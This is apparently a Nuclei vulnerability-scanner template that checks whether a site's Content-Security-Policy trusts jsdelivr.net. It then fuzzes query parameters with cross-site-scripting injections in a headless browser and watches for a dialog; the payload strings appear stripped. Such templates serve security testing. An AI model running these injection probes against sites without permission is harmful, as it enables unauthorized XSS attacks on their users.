id: jsdelivr-csp-bypass info: name: Content-Security-Policy Bypass - jsDelivr author: renniepak,DhiyaneshDK severity: medium reference: - https://github.com/renniepak/CSPBypass/blob/main/data.tsv metadata: verified: true tags: xss,csp-bypass,jsdelivr flow: http(1) && headless(1) http: - method: GET path: - "{{BaseURL}}" matchers: - type: word part: header words: - "Content-Security-Policy" - "jsdelivr.net" condition: and internal: true headless: - steps: - action: navigate args: url: "{{BaseURL}}" - action: waitdialog name: jsdelivr_csp_xss args: max-duration: 5s payloads: injection: - '' - '
' fuzzing: - part: query type: replace mode: single fuzz: - "{{url_encode(injection)}}" matchers: - type: dsl dsl: - "jsdelivr_csp_xss == true" # digest: 4a0a0047304502207234131165f9c4ea312069cfc3e48e993345e144a91e9f6effef4d396663e8db0221009ac6ac79f1f205ad998459cb325e1ed6bf519896453ee93d6158416293c832a0:922c64590222798bb761d5b6d8e72950